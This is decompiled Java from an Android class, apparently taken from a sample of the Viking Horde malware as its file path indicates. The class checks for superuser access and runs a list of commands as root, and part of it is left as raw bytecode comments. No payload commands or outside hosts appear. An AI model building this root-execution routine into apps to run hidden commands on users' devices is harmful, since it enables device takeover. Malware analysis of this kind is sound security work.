package com.fa.c;

import android.util.Log;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.util.ArrayList;

public abstract class ExecuteAsRootBase
{
  public static boolean canRunRootCommands()
  {
    boolean bool1 = false;
    boolean bool2;
    for (;;)
    {
      Object localObject;
      try
      {
        localObject = Runtime.getRuntime().exec("su");
        DataOutputStream localDataOutputStream = new DataOutputStream(((Process)localObject).getOutputStream());
        localObject = new DataInputStream(((Process)localObject).getInputStream());
        bool2 = bool1;
        if (localDataOutputStream == null) {
          break;
        }
        bool2 = bool1;
        if (localObject == null) {
          break;
        }
        localDataOutputStream.writeBytes("id\n");
        localDataOutputStream.flush();
        localObject = ((DataInputStream)localObject).readLine();
        if (localObject == null)
        {
          bool1 = false;
          i = 0;
          Log.d("CPS", "Can't get root access or denied by user");
          bool2 = bool1;
          if (i == 0) {
            break;
          }
          localDataOutputStream.writeBytes("exit\n");
          localDataOutputStream.flush();
          return bool1;
        }
        if (((String)localObject).contains("uid=0"))
        {
          bool1 = true;
          i = 1;
          Log.d("CPS", "Root access granted");
          continue;
        }
        bool1 = false;
      }
      catch (Exception localException)
      {
        Log.d("CPS", "Root access rejected [" + localException.getClass().getName() + "] : " + localException.getMessage());
        return false;
      }
      int i = 1;
      Log.d("ROOT", "Root access rejected: " + (String)localObject);
    }
    return bool2;
  }
  
  /* Error */
  public final boolean execute()
  {
    // Byte code:
    //   0: iconst_0
    //   1: istore_3
    //   2: ldc 60
    //   4: ldc 118
    //   6: invokestatic 68	android/util/Log:d	(Ljava/lang/String;Ljava/lang/String;)I
    //   9: pop
    //   10: aload_0
    //   11: invokevirtual 122	com/fa/c/ExecuteAsRootBase:getCommandsToExecute	()Ljava/util/ArrayList;
    //   14: astore 6
    //   16: iload_3
    //   17: istore_2
    //   18: aload 6
    //   20: ifnull +147 -> 167
    //   23: iload_3
    //   24: istore_2
    //   25: aload 6
    //   27: invokevirtual 128	java/util/ArrayList:size	()I
    //   30: ifle +137 -> 167
    //   33: invokestatic 19	java/lang/Runtime:getRuntime	()Ljava/lang/Runtime;
    //   36: ldc 21
    //   38: invokevirtual 25	java/lang/Runtime:exec	(Ljava/lang/String;)Ljava/lang/Process;
    //   41: astore 4
    //   43: new 27	java/io/DataOutputStream
    //   46: dup
    //   47: aload 4
    //   49: invokevirtual 33	java/lang/Process:getOutputStream	()Ljava/io/OutputStream;
    //   52: invokespecial 36	java/io/DataOutputStream:<init>	(Ljava/io/OutputStream;)V
    //   55: astore 5
    //   57: aload 6
    //   59: invokevirtual 132	java/util/ArrayList:iterator	()Ljava/util/Iterator;
    //   62: astore 6
    //   64: aload 6
    //   66: invokeinterface 137 1 0
    //   71: ifne +98 -> 169
    //   74: aload 5
    //   76: ldc 70
    //   78: invokevirtual 51	java/io/DataOutputStream:writeBytes	(Ljava/lang/String;)V
    //   81: aload 5
    //   83: invokevirtual 54	java/io/DataOutputStream:flush	()V
    //   86: new 139	java/io/BufferedReader
    //   89: dup
    //   90: new 141	java/io/InputStreamReader
    //   93: dup
    //   94: aload 4
    //   96: invokevirtual 42	java/lang/Process:getInputStream	()Ljava/io/InputStream;
    //   99: invokespecial 142	java/io/InputStreamReader:<init>	(Ljava/io/InputStream;)V
    //   102: invokespecial 145	java/io/BufferedReader:<init>	(Ljava/io/Reader;)V
    //   105: astore 6
    //   107: new 139	java/io/BufferedReader
    //   110: dup
    //   111: new 141	java/io/InputStreamReader
    //   114: dup
    //   115: aload 4
    //   117: invokevirtual 148	java/lang/Process:getErrorStream	()Ljava/io/InputStream;
    //   120: invokespecial 142	java/io/InputStreamReader:<init>	(Ljava/io/InputStream;)V
    //   123: invokespecial 145	java/io/BufferedReader:<init>	(Ljava/io/Reader;)V
    //   126: astore 5
    //   128: aload 6
    //   130: invokevirtual 149	java/io/BufferedReader:readLine	()Ljava/lang/String;
    //   133: astore 7
    //   135: aload 7
    //   137: ifnonnull +87 -> 224
    //   140: aload 5
    //   142: invokevirtual 149	java/io/BufferedReader:readLine	()Ljava/lang/String;
    //   145: astore 6
    //   147: aload 6
    //   149: ifnonnull +100 -> 249
    //   152: aload 4
    //   154: invokevirtual 152	java/lang/Process:waitFor	()I
    //   157: istore_1
    //   158: sipush 255
    //   161: iload_1
    //   162: if_icmpeq +112 -> 274
    //   165: iconst_1
    //   166: istore_2
    //   167: iload_2
    //   168: ireturn
    //   169: aload 5
    //   171: new 82	java/lang/StringBuilder
    //   174: dup
    //   175: aload 6
    //   177: invokeinterface 156 1 0
    //   182: checkcast 74	java/lang/String
    //   185: invokestatic 160	java/lang/String:valueOf	(Ljava/lang/Object;)Ljava/lang/String;
    //   188: invokespecial 86	java/lang/StringBuilder:<init>	(Ljava/lang/String;)V
    //   191: ldc -94
    //   193: invokevirtual 99	java/lang/StringBuilder:append	(Ljava/lang/String;)Ljava/lang/StringBuilder;
    //   196: invokevirtual 107	java/lang/StringBuilder:toString	()Ljava/lang/String;
    //   199: invokevirtual 51	java/io/DataOutputStream:writeBytes	(Ljava/lang/String;)V
    //   202: aload 5
    //   204: invokevirtual 54	java/io/DataOutputStream:flush	()V
    //   207: goto -143 -> 64
    //   210: astore 4
    //   212: ldc 60
    //   214: ldc -92
    //   216: aload 4
    //   218: invokestatic 168	android/util/Log:w	(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
    //   221: pop
    //   222: iconst_0
    //   223: ireturn
    //   224: ldc 60
    //   226: aload 7
    //   228: invokestatic 68	android/util/Log:d	(Ljava/lang/String;Ljava/lang/String;)I
    //   231: pop
    //   232: goto -104 -> 128
    //   235: astore 4
    //   237: ldc 60
    //   239: ldc -92
    //   241: aload 4
    //   243: invokestatic 168	android/util/Log:w	(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
    //   246: pop
    //   247: iconst_0
    //   248: ireturn
    //   249: ldc 60
    //   251: aload 6
    //   253: invokestatic 68	android/util/Log:d	(Ljava/lang/String;Ljava/lang/String;)I
    //   256: pop
    //   257: goto -117 -> 140
    //   260: astore 4
    //   262: ldc 60
    //   264: ldc -86
    //   266: aload 4
    //   268: invokestatic 168	android/util/Log:w	(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
    //   271: pop
    //   272: iconst_0
    //   273: ireturn
    //   274: iconst_0
    //   275: ireturn
    //   276: astore 4
    //   278: ldc 60
    //   280: ldc -84
    //   282: aload 4
    //   284: invokestatic 175	android/util/Log:e	(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
    //   287: pop
    //   288: iconst_0
    //   289: ireturn
    // Local variable table:
    //   start	length	slot	name	signature
    //   0	290	0	this	ExecuteAsRootBase
    //   157	6	1	i	int
    //   17	151	2	bool1	boolean
    //   1	23	3	bool2	boolean
    //   41	112	4	localProcess	Process
    //   210	7	4	localIOException	java.io.IOException
    //   235	7	4	localSecurityException	SecurityException
    //   260	7	4	localException1	Exception
    //   276	7	4	localException2	Exception
    //   55	148	5	localObject1	Object
    //   14	238	6	localObject2	Object
    //   133	94	7	str	String
    // Exception table:
    //   from	to	target	type
    //   10	16	210	java/io/IOException
    //   25	64	210	java/io/IOException
    //   64	128	210	java/io/IOException
    //   128	135	210	java/io/IOException
    //   140	147	210	java/io/IOException
    //   152	158	210	java/io/IOException
    //   169	207	210	java/io/IOException
    //   224	232	210	java/io/IOException
    //   249	257	210	java/io/IOException
    //   278	288	210	java/io/IOException
    //   10	16	235	java/lang/SecurityException
    //   25	64	235	java/lang/SecurityException
    //   64	128	235	java/lang/SecurityException
    //   128	135	235	java/lang/SecurityException
    //   140	147	235	java/lang/SecurityException
    //   152	158	235	java/lang/SecurityException
    //   169	207	235	java/lang/SecurityException
    //   224	232	235	java/lang/SecurityException
    //   249	257	235	java/lang/SecurityException
    //   278	288	235	java/lang/SecurityException
    //   10	16	260	java/lang/Exception
    //   25	64	260	java/lang/Exception
    //   64	128	260	java/lang/Exception
    //   128	135	260	java/lang/Exception
    //   140	147	260	java/lang/Exception
    //   169	207	260	java/lang/Exception
    //   224	232	260	java/lang/Exception
    //   249	257	260	java/lang/Exception
    //   278	288	260	java/lang/Exception
    //   152	158	276	java/lang/Exception
  }
  
  protected abstract ArrayList<String> getCommandsToExecute();
}


/* Location:              /home/enzo/Documents/hacking/malwares/viking-horde/classes.jar!/com/fa/c/ExecuteAsRootBase.class
 * Java compiler version: 6 (50.0)
 * JD-Core Version:       0.7.1
 */